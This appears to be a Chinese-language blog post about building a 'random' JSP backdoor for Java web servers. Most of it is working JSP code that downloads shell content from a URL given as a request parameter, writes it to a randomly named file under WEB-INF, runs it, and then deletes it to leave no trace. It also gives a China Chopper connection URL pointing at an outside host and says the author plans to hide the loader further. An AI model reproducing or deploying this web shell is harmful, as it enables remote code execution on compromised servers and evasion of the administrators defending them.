JavaWeb随机后门?
我的思路是先从远程读取要生成的shell内容,然后把shell藏在WEB-INF下shell的名字和长度也都随机生成。比如:
不过就算藏在WEB-INF下也会被发现,干脆用一次就删一次?这样不会在任何目录下留下Shell。
菜刀链接:http://localhost/Demo2/new.jsp?url=http://xsser.me/caidao/css.jsp
<%@ page language="java" import="java.io.*,java.net.*,java.util.*" pageEncoding="UTF-8"%> <%! String getConnection(String url) { String result="",line=""; try { URL realUrl = new URL(url); URLConnection connection = realUrl.openConnection(); connection.setConnectTimeout(15000); connection.setReadTimeout(15000); connection.connect(); BufferedReader in = new BufferedReader(new InputStreamReader(connection.getInputStream())); while ((line = in.readLine()) != null) { result += line; } } catch (Exception e) { e.printStackTrace(); } return result; } void writeShell(String url,String path){ try{ RandomAccessFile rf = new RandomAccessFile(path, "rw"); rf.write(new String(getConnection(url)).getBytes()); rf.close(); }catch(Exception e){ e.printStackTrace(); } } String getRandomString(int length) { String base = "abcdefghijklmnopqrstuvwxyz0123456789"; Random random = new Random(); StringBuffer sb = new StringBuffer(); for (int i = 0; i < length; i++) { int number = random.nextInt(base.length()); sb.append(base.charAt(number)); } return sb.toString(); } String getRequestFile(HttpServletRequest request){ return "/WEB-INF/classes/"+getRandomString(new Random().nextInt(10)+1)+".jsp"; } %> <% String f = getRequestFile(request),p = request.getSession().getServletContext().getRealPath("/")+f; writeShell(request.getParameter("url"),p); request.getRequestDispatcher(f).forward(request,response); new File(p).delete(); %>
测试的时候还发现了一个jspx和jsp的一个小秘密:
用jspx的语法可以直接适用于jsp,也就是说可以把http://xsser.me/caidao/jspx.jspx的内容copy,然后保存到一个jsp文件里面一样可以正常访问。
现在要做的就是怎么去藏生成后门的代码了。